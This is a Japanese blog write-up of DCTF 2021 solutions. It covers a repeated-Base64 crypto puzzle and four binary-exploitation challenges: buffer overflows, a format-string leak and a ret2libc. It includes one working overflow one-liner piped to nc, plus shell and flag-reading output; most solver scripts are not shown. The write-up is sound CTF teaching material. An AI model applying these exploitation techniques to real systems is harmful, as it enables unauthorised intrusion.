DCTF 2021 Writeup
Contents
(2021/05/29 - Pwnを少し復習しました。下の方に追記してます。)
URL: https://umbccd.io/
950点を獲得し、最終順位は354位でした。
以下は解いたチャレンジです。
[Crypto]: This one is really basic (300 points)
Challenge
The answer to life, the universe, and everything.
Attachment:
- cipher.txt (Base64エンコードされた8KBくらいのテキスト)
Solution
何故か 300 points と得点の配分が高い問題。
cipher.txtの見た目と、チャレンジのタイトルからして、Base64 を繰り返し行えばフラグが取れそうなのはわかります。
CyberChefでLabelとJumpを使ってループすることで解くことができます。
以下がポイントです。
Remove non-alphabet chars
が必要でした。(default: ON)- Maximum jumps (ループ回数) はトライ・アンド・エラーで見つけてます。
Auto Bake
が有効になっていると、Maximum jumpsの数字を変更している最中に処理が始まってしまうので、Auto Bake
は無効にしてテストするのがベター。(例えば、40 -> 41 に変えようとしたときに一旦0を消すけど、その時点で4で動いてしまう、みたいな感じ。)
Pythonでもやりました。
|
|
b64decode が bytearray(?) を返すので、UTF-8でデコードして返すところがポイントです(ハイライト部分)。
そうしないと、繰り返ししている最中に引数がおかしくなって処理ができません。
Flag: dctf{Th1s_l00ks_4_lot_sm4ll3r_th4n_1t_d1d}
(2021/06/02 - 追記)
もっと簡単なコードで解けました。
|
|
[Pwn]: Pwn sanity check (100 points)
Challenge
This should take about 1337 seconds to solve.
Attachment:
- pwn_sanity_check (ELF 64bit)
Solution
まず、Ghidraでコードを確認しました。main()からは、vuln()が呼ばれています。別途、win()関数が存在しています。
|
|
|
|
まず、vuln()では、BOFを起こす際にローカル変数(local_c)も書き換えないといけません。
その後にshell() があるので、シェルが取れるかと思いきや、“try harder” と言われます。
$ ./pwn_sanity_check_solve.py [+] Opening connection to dctf-chall-pwn-sanity-check.westeurope.azurecontainer.io on port 7480: Done [*] Switching to interactive mode very good, here is a shell for you. spawning /bin/sh process wush! $> If this is not good enough, you will just have to try harder :)
No PIEなので、引数をセットしてからwin()関数のアドレスに飛べばよさそうです。
$ checksec pwn_sanity_check Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
書いたコード。
|
|
実行結果:
$ ./pwn_sanity_check_solve.py [+] Opening connection to dctf-chall-pwn-sanity-check.westeurope.azurecontainer.io on port 7480: Done [*] Switching to interactive mode very good, here is a shell for you. spawning /bin/sh process wush! $> If this is not good enough, you will just have to try harder :) you made it to win land, no free handouts this time, try harder one down, one to go! 2/2 bro good job $ ls flag.txt pwn_sanity_check startService.sh $ cat flag.txt dctf{Ju5t_m0v3_0n}
Flag: dctf{Ju5t_m0v3_0n}
[Pwn]: Pinch me (100 points)
Challenge
This should be easy!
Attachment:
- pinch_me (ELF 64bit)
Solution
まず、Ghidraでコードを確認します。main()からは、vuln()が呼ばれています。
|
|
ローカル変数(local_10)の方を書き換えるだけで、/bin/sh が実行できそう。
$ (python -c 'print("A"*24+"\xde\xc0\x37\x13")' ; cat - ) | nc dctf1-chall-pinch-me.westeurope.azurecontainer.io 7480 Is this a real life, or is it just a fanta sea? Am I dreaming? ls flag.txt pinch_me startService.sh cat flag.txt dctf{y0u_kn0w_wh4t_15_h4pp3n1ng_b75?}
Flag: dctf{y0u_kn0w_wh4t_15_h4pp3n1ng_b75?}
Pwn Sanity Checkの方が難しかった。。
ここから下はイベント終了後に行った復習です。
[Pwn]: Readme (150 points)
Challenge
Read me to get the flag.
Attachment:
- readme (ELF 64bit)
Solution
書式文字列攻撃 (Format string bug) なのは明確で、イベント中に以下の値までは取れてたのにフラグに辿り着けなかったチャレンジ。
hello 0x7ffe5c646f40 (nil) (nil) 0x6 0x6 (nil) 0x55bdb53e52a0 0x77306e7b66746364 0x646133725f30675f 0x30625f656d30735f 0x7fa000356b30 0x7025702570257025 0x7025702570257025 0x7025702570257025
これがunhexして文字になるというのに全く気づかなかったんですよね。。
例:
$ unhex 30625f656d30735f ; echo 0b_em0s_
ということで、復習です。まずは、Ghidraでコードを確認します。
|
|
以下が書いたコードです。
%0$p
%1$p
%2$p
:
のように、順番に送るコードです。
|
|
ハイライト部分のように、リトルエンディアンになっている16進文字列は、p64()をかますと文字として表示できるようです。
実行結果:
$ ./readme_solve.py hell\x00\x00 @@\x8c��\x00 \x06\x00\x00\x00 \xa0R��U dctf{n0w _g0_r3ad _s0me_b0 0k5\x00\x00\x00 :
Flag: dctf{n0w_g0_r3ad_s0me_b00k5}
[Pwn]: Baby bof (250 points)
Challenge
It’s just another bof.
Attachment:
-
baby_bof (ELF 64bit)
-
Dockerfile
Dockerfileの中身
FROM ubuntu:20.04 RUN apt-get update && apt-get install -y make gcc socat RUN groupadd pilot RUN useradd pilot --gid pilot COPY ./app /app WORKDIR /app ENTRYPOINT [ "bash", "/app/startService.sh" ]
Solution
どうやら、Dockerfileから libcファイルを特定するっぽいですね。
正直ちょっとよくわからないのと、もうサーバはアクセスできないので、ローカルでのテストのみで復習完了とします。
テストはKaliで行い、/usr/lib/x86_64-linux-gnu/libc.so.6
を使いました。
まずは、Ghidraでコードを確認します。
|
|
checksecも確認。
$ checksec baby_bof Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
以下、書いたコードです。
|
|
one_gadgetを使ったやり方では動かなかったので、コメントアウトしてます。
実行結果:
$ ./baby_bof_solve.py 0x7f45ecaa6000 $ cat flag.txt dctf{D0_y0U_H4v3_A_T3mpl4t3_f0R_tH3s3}
Flag: dctf{D0_y0U_H4v3_A_T3mpl4t3_f0R_tH3s3}
Author CaptureAmerica @ CTF フラxxグゲット
LastMod 2021-06-02